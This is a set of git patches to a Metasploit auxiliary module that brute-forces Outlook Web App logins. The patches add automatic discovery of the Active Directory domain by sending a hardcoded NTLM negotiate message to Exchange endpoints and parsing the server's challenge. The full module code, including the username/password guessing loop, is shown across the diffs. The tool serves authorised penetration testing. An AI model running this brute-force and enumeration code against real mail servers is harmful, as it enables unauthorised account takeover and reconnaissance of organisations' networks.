From cdcfa88fa3e03effd13352d720098ce82accebb7 Mon Sep 17 00:00:00 2001 From: kaospunk Date: Thu, 22 Aug 2013 12:26:14 -0400 Subject: [PATCH 1/7] Enumerate AD Domain via NTLM Authentication Add functionality to attempt an NTLM auth against common directories to try to enumerate the AD domain. If a domain is found this will be prepended to the authentication requests, otherwise it's business as usual. --- modules/auxiliary/scanner/http/owa_login.rb | 50 +++++++++++++++++++-- 1 file changed, 47 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/owa_login.rb b/modules/auxiliary/scanner/http/owa_login.rb index 44b9a26222..55a021b7c5 100644 --- a/modules/auxiliary/scanner/http/owa_login.rb +++ b/modules/auxiliary/scanner/http/owa_login.rb @@ -6,6 +6,7 @@ ## require 'msf/core' +require 'rex/proto/ntlm/message' class Metasploit3 < Msf::Auxiliary @@ -25,7 +26,8 @@ class Metasploit3 < Msf::Auxiliary 'Vitor Moreira', 'Spencer McIntyre', 'SecureState R&D Team', - 'sinn3r' + 'sinn3r', + 'Brandon Knight' ], 'License' => MSF_LICENSE, 'Actions' => @@ -82,6 +84,39 @@ class Metasploit3 < Msf::Auxiliary end def run + urls = ["aspnet_client", + "Autodiscover", + "ecp", + "EWS", + "Microsoft-Server-ActiveSync", + "OAB", + "PowerShell", + "Rpc"] + + domain = nil + + begin + urls.each { |url| + res = send_request_cgi({ + 'encode' => true, + 'uri' => "/#{url}", + 'method' => 'GET', + 'headers' => {"Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="} + }, 25) + + if res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i) + hash = res['WWW-Authenticate'].split('NTLM ')[1] + domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'') + print_good("Found target domain: " + domain) + break + end + } + + rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT + print_error("#{msg} HTTP Connection Failed, Aborting") + return :abort + end + # Store the original setting @blank_passwords_setting = datastore['BLANK_PASSWORDS'] @@ -116,14 +151,22 @@ class Metasploit3 < Msf::Auxiliary begin each_user_pass do |user, pass| vprint_status("#{msg} Trying #{user} : #{pass}") - try_user_pass(user, pass, auth_path, inbox_path, login_check, vhost) + try_user_pass({"user" => user, "pass"=>pass, "domain" => domain, "auth_path"=>auth_path, "inbox_path"=>inbox_path, "login_check"=>login_check, "vhost"=>vhost}) end rescue ::Rex::ConnectionError, Errno::ECONNREFUSED print_error("#{msg} HTTP Connection Error, Aborting") end end - def try_user_pass(user, pass, auth_path, inbox_path, login_check, vhost) + def try_user_pass(opts) + domain = opts["domain"] + user = opts["user"] + pass = opts["pass"] + auth_path = opts["auth_path"] + inbox_path = opts["inbox_path"] + login_check = opts["login_check"] + vhost = opts["vhost"] + user = domain + '\\' + user if domain user = datastore['AD_DOMAIN'] + '\\' + user if datastore['AD_DOMAIN'] != '' headers = { 'Cookie' => 'PBack=0' @@ -211,3 +254,4 @@ class Metasploit3 < Msf::Auxiliary end end + From 7e0b26e932b2a3f7e1e13ce20f23da0ab9411449 Mon Sep 17 00:00:00 2001 From: kaospunk Date: Thu, 22 Aug 2013 13:23:39 -0400 Subject: [PATCH 2/7] Minor fixes to syntax and error handling --- modules/auxiliary/scanner/http/owa_login.rb | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/owa_login.rb b/modules/auxiliary/scanner/http/owa_login.rb index 55a021b7c5..7dbafeb132 100644 --- a/modules/auxiliary/scanner/http/owa_login.rb +++ b/modules/auxiliary/scanner/http/owa_login.rb @@ -96,7 +96,7 @@ class Metasploit3 < Msf::Auxiliary domain = nil begin - urls.each { |url| + urls.each do |url| res = send_request_cgi({ 'encode' => true, 'uri' => "/#{url}", @@ -104,13 +104,18 @@ class Metasploit3 < Msf::Auxiliary 'headers' => {"Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="} }, 25) - if res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i) + if not res + print_error("#{msg} HTTP Connection Error, Aborting") + return :abort + end + + if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i) hash = res['WWW-Authenticate'].split('NTLM ')[1] domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'') print_good("Found target domain: " + domain) break end - } + end rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT print_error("#{msg} HTTP Connection Failed, Aborting") From 7e098e4d6b6fc387ec4d88eee21f682f635a8b5f Mon Sep 17 00:00:00 2001 From: kaospunk Date: Thu, 22 Aug 2013 14:16:00 -0400 Subject: [PATCH 3/7] Domain enumeration put in own function The code to enumerate the AD domain is now in its own function Additionally, a new advanced option has been added which controls whether or not the domain enumeration will occur so that if it is not wanted the user can disabled it. By default this is set to enumerate the AD domain. If AD_DOMAIN is already specified then this will be used and no auto enumeration will occur. --- modules/auxiliary/scanner/http/owa_login.rb | 97 ++++++++++++--------- 1 file changed, 56 insertions(+), 41 deletions(-) diff --git a/modules/auxiliary/scanner/http/owa_login.rb b/modules/auxiliary/scanner/http/owa_login.rb index 7dbafeb132..4e2f06f770 100644 --- a/modules/auxiliary/scanner/http/owa_login.rb +++ b/modules/auxiliary/scanner/http/owa_login.rb @@ -71,6 +71,7 @@ class Metasploit3 < Msf::Auxiliary register_advanced_options( [ OptString.new('AD_DOMAIN', [ false, "Optional AD domain to prepend to usernames", '']), + OptBool.new('ENUM_DOMAIN', [ true, "Automatically enumerate AD domain using NTLM authentication", true]), OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true]) ], self.class) @@ -84,44 +85,6 @@ class Metasploit3 < Msf::Auxiliary end def run - urls = ["aspnet_client", - "Autodiscover", - "ecp", - "EWS", - "Microsoft-Server-ActiveSync", - "OAB", - "PowerShell", - "Rpc"] - - domain = nil - - begin - urls.each do |url| - res = send_request_cgi({ - 'encode' => true, - 'uri' => "/#{url}", - 'method' => 'GET', - 'headers' => {"Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="} - }, 25) - - if not res - print_error("#{msg} HTTP Connection Error, Aborting") - return :abort - end - - if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i) - hash = res['WWW-Authenticate'].split('NTLM ')[1] - domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'') - print_good("Found target domain: " + domain) - break - end - end - - rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT - print_error("#{msg} HTTP Connection Failed, Aborting") - return :abort - end - # Store the original setting @blank_passwords_setting = datastore['BLANK_PASSWORDS'] @@ -152,11 +115,21 @@ class Metasploit3 < Msf::Auxiliary auth_path = action.opts['AuthPath'] inbox_path = action.opts['InboxPath'] login_check = action.opts['InboxCheck'] + + domain = nil + + if datastore['AD_DOMAIN'].nil? or datastore['AD_DOMAIN'] == '' + if datastore['ENUM_DOMAIN'] + domain = get_ad_domain + end + else + domain = datastore['AD_DOMAIN'] + end begin each_user_pass do |user, pass| vprint_status("#{msg} Trying #{user} : #{pass}") - try_user_pass({"user" => user, "pass"=>pass, "domain" => domain, "auth_path"=>auth_path, "inbox_path"=>inbox_path, "login_check"=>login_check, "vhost"=>vhost}) + try_user_pass({"user" => user, "domain"=>domain, "pass"=>pass, "auth_path"=>auth_path, "inbox_path"=>inbox_path, "login_check"=>login_check, "vhost"=>vhost}) end rescue ::Rex::ConnectionError, Errno::ECONNREFUSED print_error("#{msg} HTTP Connection Error, Aborting") @@ -164,15 +137,16 @@ class Metasploit3 < Msf::Auxiliary end def try_user_pass(opts) - domain = opts["domain"] user = opts["user"] pass = opts["pass"] auth_path = opts["auth_path"] inbox_path = opts["inbox_path"] login_check = opts["login_check"] vhost = opts["vhost"] + domain = opts["domain"] + user = domain + '\\' + user if domain - user = datastore['AD_DOMAIN'] + '\\' + user if datastore['AD_DOMAIN'] != '' + headers = { 'Cookie' => 'PBack=0' } @@ -254,6 +228,47 @@ class Metasploit3 < Msf::Auxiliary end end + def get_ad_domain + urls = ["aspnet_client", + "Autodiscover", + "ecp", + "EWS", + "Microsoft-Server-ActiveSync", + "OAB", + "PowerShell", + "Rpc"] + + domain = nil + + begin + urls.each do |url| + res = send_request_cgi({ + 'encode' => true, + 'uri' => "/#{url}", + 'method' => 'GET', + 'headers' => {"Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="} + }, 25) + + if not res + print_error("#{msg} HTTP Connection Error, Aborting") + return :abort + end + + if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i) + hash = res['WWW-Authenticate'].split('NTLM ')[1] + domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'') + print_good("Found target domain: " + domain) + break + end + end + + rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT + print_error("#{msg} HTTP Connection Failed, Aborting") + return :abort + end + return domain + end + def msg "#{vhost}:#{rport} OWA -" end From a863005d337a5565641f00bbbdea8af71d6a7414 Mon Sep 17 00:00:00 2001 From: kaospunk Date: Thu, 22 Aug 2013 14:20:42 -0400 Subject: [PATCH 4/7] Removed blanks at EOL Fixed blanks at EOL per msftidy messages --- modules/auxiliary/scanner/http/owa_login.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/http/owa_login.rb b/modules/auxiliary/scanner/http/owa_login.rb index 4e2f06f770..1ad5717fa1 100644 --- a/modules/auxiliary/scanner/http/owa_login.rb +++ b/modules/auxiliary/scanner/http/owa_login.rb @@ -115,9 +115,9 @@ class Metasploit3 < Msf::Auxiliary auth_path = action.opts['AuthPath'] inbox_path = action.opts['InboxPath'] login_check = action.opts['InboxCheck'] - + domain = nil - + if datastore['AD_DOMAIN'].nil? or datastore['AD_DOMAIN'] == '' if datastore['ENUM_DOMAIN'] domain = get_ad_domain @@ -143,10 +143,10 @@ class Metasploit3 < Msf::Auxiliary inbox_path = opts["inbox_path"] login_check = opts["login_check"] vhost = opts["vhost"] - domain = opts["domain"] - + domain = opts["domain"] + user = domain + '\\' + user if domain - + headers = { 'Cookie' => 'PBack=0' } From 015ac6d92c360934a721b5fd80202627e88417ed Mon Sep 17 00:00:00 2001 From: Tab Assassin Date: Thu, 5 Sep 2013 14:09:44 -0500 Subject: [PATCH 5/7] Retab changes for PR #2273 --- modules/auxiliary/scanner/http/owa_login.rb | 448 ++++++++++---------- 1 file changed, 224 insertions(+), 224 deletions(-) diff --git a/modules/auxiliary/scanner/http/owa_login.rb b/modules/auxiliary/scanner/http/owa_login.rb index 1ad5717fa1..57d32971d6 100644 --- a/modules/auxiliary/scanner/http/owa_login.rb +++ b/modules/auxiliary/scanner/http/owa_login.rb @@ -10,268 +10,268 @@ require 'rex/proto/ntlm/message' class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Report - include Msf::Auxiliary::AuthBrute - include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + include Msf::Exploit::Remote::HttpClient - def initialize - super( - 'Name' => 'Outlook Web App (OWA) Brute Force Utility', - 'Description' => %q{ - This module tests credentials on OWA 2003, 2007 and 2010 servers. The default - action is set to OWA 2010. - }, - 'Author' => - [ - 'Vitor Moreira', - 'Spencer McIntyre', - 'SecureState R&D Team', - 'sinn3r', - 'Brandon Knight' - ], - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ - 'OWA 2003', - { - 'Description' => 'OWA version 2003', - 'AuthPath' => '/exchweb/bin/auth/owaauth.dll', - 'InboxPath' => '/exchange/', - 'InboxCheck' => /Inbox/ - } - ], - [ - 'OWA 2007', - { - 'Description' => 'OWA version 2007', - 'AuthPath' => '/owa/auth/owaauth.dll', - 'InboxPath' => '/owa/', - 'InboxCheck' => /addrbook.gif/ - } - ], - [ - 'OWA 2010', - { - 'Description' => 'OWA version 2010', - 'AuthPath' => '/owa/auth.owa', - 'InboxPath' => '/owa/', - 'InboxCheck' => /Inbox|location(\x20*)=(\x20*)"\\\/(\w+)\\\/logoff\.owa|A mailbox couldn\'t be found|\/ - } - ] - ], - 'DefaultAction' => 'OWA 2010' - ) + def initialize + super( + 'Name' => 'Outlook Web App (OWA) Brute Force Utility', + 'Description' => %q{ + This module tests credentials on OWA 2003, 2007 and 2010 servers. The default + action is set to OWA 2010. + }, + 'Author' => + [ + 'Vitor Moreira', + 'Spencer McIntyre', + 'SecureState R&D Team', + 'sinn3r', + 'Brandon Knight' + ], + 'License' => MSF_LICENSE, + 'Actions' => + [ + [ + 'OWA 2003', + { + 'Description' => 'OWA version 2003', + 'AuthPath' => '/exchweb/bin/auth/owaauth.dll', + 'InboxPath' => '/exchange/', + 'InboxCheck' => /Inbox/ + } + ], + [ + 'OWA 2007', + { + 'Description' => 'OWA version 2007', + 'AuthPath' => '/owa/auth/owaauth.dll', + 'InboxPath' => '/owa/', + 'InboxCheck' => /addrbook.gif/ + } + ], + [ + 'OWA 2010', + { + 'Description' => 'OWA version 2010', + 'AuthPath' => '/owa/auth.owa', + 'InboxPath' => '/owa/', + 'InboxCheck' => /Inbox|location(\x20*)=(\x20*)"\\\/(\w+)\\\/logoff\.owa|A mailbox couldn\'t be found|\/ + } + ] + ], + 'DefaultAction' => 'OWA 2010' + ) - register_options( - [ - OptInt.new('RPORT', [ true, "The target port", 443]), - ], self.class) + register_options( + [ + OptInt.new('RPORT', [ true, "The target port", 443]), + ], self.class) - register_advanced_options( - [ - OptString.new('AD_DOMAIN', [ false, "Optional AD domain to prepend to usernames", '']), - OptBool.new('ENUM_DOMAIN', [ true, "Automatically enumerate AD domain using NTLM authentication", true]), - OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true]) - ], self.class) + register_advanced_options( + [ + OptString.new('AD_DOMAIN', [ false, "Optional AD domain to prepend to usernames", '']), + OptBool.new('ENUM_DOMAIN', [ true, "Automatically enumerate AD domain using NTLM authentication", true]), + OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true]) + ], self.class) - deregister_options('BLANK_PASSWORDS') - end + deregister_options('BLANK_PASSWORDS') + end - def cleanup - # Restore the original settings - datastore['BLANK_PASSWORDS'] = @blank_passwords_setting - datastore['USER_AS_PASS'] = @user_as_pass_setting - end + def cleanup + # Restore the original settings + datastore['BLANK_PASSWORDS'] = @blank_passwords_setting + datastore['USER_AS_PASS'] = @user_as_pass_setting + end - def run - # Store the original setting - @blank_passwords_setting = datastore['BLANK_PASSWORDS'] + def run + # Store the original setting + @blank_passwords_setting = datastore['BLANK_PASSWORDS'] - # OWA doesn't support blank passwords - datastore['BLANK_PASSWORDS'] = false + # OWA doesn't support blank passwords + datastore['BLANK_PASSWORDS'] = false - # If there's a pre-defined username/password, we need to turn off USER_AS_PASS - # so that the module won't just try username:username, and then exit. - @user_as_pass_setting = datastore['USER_AS_PASS'] - if not datastore['USERNAME'].nil? and not datastore['PASSWORD'].nil? - print_status("Disabling 'USER_AS_PASS' because you've specified an username/password") - datastore['USER_AS_PASS'] = false - end + # If there's a pre-defined username/password, we need to turn off USER_AS_PASS + # so that the module won't just try username:username, and then exit. + @user_as_pass_setting = datastore['USER_AS_PASS'] + if not datastore['USERNAME'].nil? and not datastore['PASSWORD'].nil? + print_status("Disabling 'USER_AS_PASS' because you've specified an username/password") + datastore['USER_AS_PASS'] = false + end - vhost = datastore['VHOST'] || datastore['RHOST'] + vhost = datastore['VHOST'] || datastore['RHOST'] - print_status("#{msg} Testing version #{action.name}") + print_status("#{msg} Testing version #{action.name}") - # Here's a weird hack to check if each_user_pass is empty or not - # apparently you cannot do each_user_pass.empty? or even inspect() it - isempty = true - each_user_pass do |user| - isempty = false - break - end - print_error("No username/password specified") if isempty + # Here's a weird hack to check if each_user_pass is empty or not + # apparently you cannot do each_user_pass.empty? or even inspect() it + isempty = true + each_user_pass do |user| + isempty = false + break + end + print_error("No username/password specified") if isempty - auth_path = action.opts['AuthPath'] - inbox_path = action.opts['InboxPath'] - login_check = action.opts['InboxCheck'] + auth_path = action.opts['AuthPath'] + inbox_path = action.opts['InboxPath'] + login_check = action.opts['InboxCheck'] - domain = nil + domain = nil - if datastore['AD_DOMAIN'].nil? or datastore['AD_DOMAIN'] == '' - if datastore['ENUM_DOMAIN'] - domain = get_ad_domain - end - else - domain = datastore['AD_DOMAIN'] - end + if datastore['AD_DOMAIN'].nil? or datastore['AD_DOMAIN'] == '' + if datastore['ENUM_DOMAIN'] + domain = get_ad_domain + end + else + domain = datastore['AD_DOMAIN'] + end - begin - each_user_pass do |user, pass| - vprint_status("#{msg} Trying #{user} : #{pass}") - try_user_pass({"user" => user, "domain"=>domain, "pass"=>pass, "auth_path"=>auth_path, "inbox_path"=>inbox_path, "login_check"=>login_check, "vhost"=>vhost}) - end - rescue ::Rex::ConnectionError, Errno::ECONNREFUSED - print_error("#{msg} HTTP Connection Error, Aborting") - end - end + begin + each_user_pass do |user, pass| + vprint_status("#{msg} Trying #{user} : #{pass}") + try_user_pass({"user" => user, "domain"=>domain, "pass"=>pass, "auth_path"=>auth_path, "inbox_path"=>inbox_path, "login_check"=>login_check, "vhost"=>vhost}) + end + rescue ::Rex::ConnectionError, Errno::ECONNREFUSED + print_error("#{msg} HTTP Connection Error, Aborting") + end + end - def try_user_pass(opts) - user = opts["user"] - pass = opts["pass"] - auth_path = opts["auth_path"] - inbox_path = opts["inbox_path"] - login_check = opts["login_check"] - vhost = opts["vhost"] - domain = opts["domain"] + def try_user_pass(opts) + user = opts["user"] + pass = opts["pass"] + auth_path = opts["auth_path"] + inbox_path = opts["inbox_path"] + login_check = opts["login_check"] + vhost = opts["vhost"] + domain = opts["domain"] - user = domain + '\\' + user if domain + user = domain + '\\' + user if domain - headers = { - 'Cookie' => 'PBack=0' - } + headers = { + 'Cookie' => 'PBack=0' + } - if (datastore['SSL'].to_s.match(/^(t|y|1)/i)) - data = 'destination=https://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass - else - data = 'destination=http://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass - end + if (datastore['SSL'].to_s.match(/^(t|y|1)/i)) + data = 'destination=https://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass + else + data = 'destination=http://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass + end - begin - res = send_request_cgi({ - 'encode' => true, - 'uri' => auth_path, - 'method' => 'POST', - 'headers' => headers, - 'data' => data - }, 25) + begin + res = send_request_cgi({ + 'encode' => true, + 'uri' => auth_path, + 'method' => 'POST', + 'headers' => headers, + 'data' => data + }, 25) - rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT - print_error("#{msg} HTTP Connection Failed, Aborting") - return :abort - end + rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT + print_error("#{msg} HTTP Connection Failed, Aborting") + return :abort + end - if not res - print_error("#{msg} HTTP Connection Error, Aborting") - return :abort - end + if not res + print_error("#{msg} HTTP Connection Error, Aborting") + return :abort + end - if not res.headers['set-cookie'] - print_error("#{msg} Received invalid repsonse due to a missing cookie (possibly due to invalid version), aborting") - return :abort - end + if not res.headers['set-cookie'] + print_error("#{msg} Received invalid repsonse due to a missing cookie (possibly due to invalid version), aborting") + return :abort + end - # these two lines are the authentication info - sessionid = 'sessionid=' << res.headers['set-cookie'].split('sessionid=')[1].split('; ')[0] - cadata = 'cadata=' << res.headers['set-cookie'].split('cadata=')[1].split('; ')[0] + # these two lines are the authentication info + sessionid = 'sessionid=' << res.headers['set-cookie'].split('sessionid=')[1].split('; ')[0] + cadata = 'cadata=' << res.headers['set-cookie'].split('cadata=')[1].split('; ')[0] - headers['Cookie'] = 'PBack=0; ' << sessionid << '; ' << cadata + headers['Cookie'] = 'PBack=0; ' << sessionid << '; ' << cadata - begin - res = send_request_cgi({ - 'uri' => inbox_path, - 'method' => 'GET', - 'headers' => headers - }, 20) - rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT - print_error("#{msg} HTTP Connection Failed, Aborting") - return :abort - end + begin + res = send_request_cgi({ + 'uri' => inbox_path, + 'method' => 'GET', + 'headers' => headers + }, 20) + rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT + print_error("#{msg} HTTP Connection Failed, Aborting") + return :abort + end - if not res - print_error("#{msg} HTTP Connection Error, Aborting") - return :abort - end + if not res + print_error("#{msg} HTTP Connection Error, Aborting") + return :abort + end - if res.code == 302 - vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}'") - return :skip_pass - end + if res.code == 302 + vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}'") + return :skip_pass + end - if res.body =~ login_check - print_good("#{msg} SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") + if res.body =~ login_check + print_good("#{msg} SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") - report_hash = { - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :sname => 'owa', - :user => user, - :pass => pass, - :active => true, - :type => 'password'} + report_hash = { + :host => datastore['RHOST'], + :port => datastore['RPORT'], + :sname => 'owa', + :user => user, + :pass => pass, + :active => true, + :type => 'password'} - report_auth_info(report_hash) - return :next_user - else - vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}'") - return :skip_pass - end - end + report_auth_info(report_hash) + return :next_user + else + vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}'") + return :skip_pass + end + end - def get_ad_domain - urls = ["aspnet_client", - "Autodiscover", - "ecp", - "EWS", - "Microsoft-Server-ActiveSync", - "OAB", - "PowerShell", - "Rpc"] + def get_ad_domain + urls = ["aspnet_client", + "Autodiscover", + "ecp", + "EWS", + "Microsoft-Server-ActiveSync", + "OAB", + "PowerShell", + "Rpc"] - domain = nil + domain = nil - begin - urls.each do |url| - res = send_request_cgi({ - 'encode' => true, - 'uri' => "/#{url}", - 'method' => 'GET', - 'headers' => {"Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="} - }, 25) + begin + urls.each do |url| + res = send_request_cgi({ + 'encode' => true, + 'uri' => "/#{url}", + 'method' => 'GET', + 'headers' => {"Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="} + }, 25) - if not res - print_error("#{msg} HTTP Connection Error, Aborting") - return :abort - end + if not res + print_error("#{msg} HTTP Connection Error, Aborting") + return :abort + end - if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i) - hash = res['WWW-Authenticate'].split('NTLM ')[1] - domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'') - print_good("Found target domain: " + domain) - break - end - end + if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i) + hash = res['WWW-Authenticate'].split('NTLM ')[1] + domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'') + print_good("Found target domain: " + domain) + break + end + end - rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT - print_error("#{msg} HTTP Connection Failed, Aborting") - return :abort - end - return domain - end + rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT + print_error("#{msg} HTTP Connection Failed, Aborting") + return :abort + end + return domain + end - def msg - "#{vhost}:#{rport} OWA -" - end + def msg + "#{vhost}:#{rport} OWA -" + end end From 4b4804538f7f9334af32c03fca0650c8f0ecd90c Mon Sep 17 00:00:00 2001 From: kaospunk Date: Mon, 14 Oct 2013 16:02:29 -0400 Subject: [PATCH 6/7] Fixes issues based on feedback This commit addresses comments made by @jvazquez-r7. --- modules/auxiliary/scanner/http/owa_login.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/http/owa_login.rb b/modules/auxiliary/scanner/http/owa_login.rb index 57d32971d6..79418c9444 100644 --- a/modules/auxiliary/scanner/http/owa_login.rb +++ b/modules/auxiliary/scanner/http/owa_login.rb @@ -247,25 +247,26 @@ class Metasploit3 < Msf::Auxiliary 'uri' => "/#{url}", 'method' => 'GET', 'headers' => {"Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="} - }, 25) + }) if not res print_error("#{msg} HTTP Connection Error, Aborting") - return :abort + return nil end if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i) hash = res['WWW-Authenticate'].split('NTLM ')[1] domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'') print_good("Found target domain: " + domain) - break + return domain end end rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT print_error("#{msg} HTTP Connection Failed, Aborting") - return :abort + return nil end + return domain end From 71a1ccf771cd0467da202cbc6ac4f613f1f4bf47 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 28 Oct 2013 09:46:41 -0500 Subject: [PATCH 7/7] Clean owa_login enum_domain feature --- modules/auxiliary/scanner/http/owa_login.rb | 47 ++++++++++----------- 1 file changed, 23 insertions(+), 24 deletions(-) diff --git a/modules/auxiliary/scanner/http/owa_login.rb b/modules/auxiliary/scanner/http/owa_login.rb index 79418c9444..75647f89f1 100644 --- a/modules/auxiliary/scanner/http/owa_login.rb +++ b/modules/auxiliary/scanner/http/owa_login.rb @@ -71,7 +71,7 @@ class Metasploit3 < Msf::Auxiliary register_advanced_options( [ OptString.new('AD_DOMAIN', [ false, "Optional AD domain to prepend to usernames", '']), - OptBool.new('ENUM_DOMAIN', [ true, "Automatically enumerate AD domain using NTLM authentication", true]), + OptBool.new('ENUM_DOMAIN', [ true, "Automatically enumerate AD domain using NTLM authentication", false]), OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true]) ], self.class) @@ -118,14 +118,14 @@ class Metasploit3 < Msf::Auxiliary domain = nil - if datastore['AD_DOMAIN'].nil? or datastore['AD_DOMAIN'] == '' - if datastore['ENUM_DOMAIN'] - domain = get_ad_domain - end - else + if datastore['AD_DOMAIN'] and not datastore['AD_DOMAIN'].empty? domain = datastore['AD_DOMAIN'] end + if ((datastore['AD_DOMAIN'].nil? or datastore['AD_DOMAIN'] == '') and datastore['ENUM_DOMAIN']) + domain = get_ad_domain + end + begin each_user_pass do |user, pass| vprint_status("#{msg} Trying #{user} : #{pass}") @@ -164,7 +164,7 @@ class Metasploit3 < Msf::Auxiliary 'method' => 'POST', 'headers' => headers, 'data' => data - }, 25) + }) rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT print_error("#{msg} HTTP Connection Failed, Aborting") @@ -240,31 +240,30 @@ class Metasploit3 < Msf::Auxiliary domain = nil - begin - urls.each do |url| + urls.each do |url| + begin res = send_request_cgi({ 'encode' => true, 'uri' => "/#{url}", 'method' => 'GET', 'headers' => {"Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="} }) - - if not res - print_error("#{msg} HTTP Connection Error, Aborting") - return nil - end - - if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i) - hash = res['WWW-Authenticate'].split('NTLM ')[1] - domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'') - print_good("Found target domain: " + domain) - return domain - end + rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT + vprint_error("#{msg} HTTP Connection Failed") + next end - rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT - print_error("#{msg} HTTP Connection Failed, Aborting") - return nil + if not res + vprint_error("#{msg} HTTP Connection Timeout") + next + end + + if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i) + hash = res['WWW-Authenticate'].split('NTLM ')[1] + domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'') + print_good("Found target domain: " + domain) + return domain + end end return domain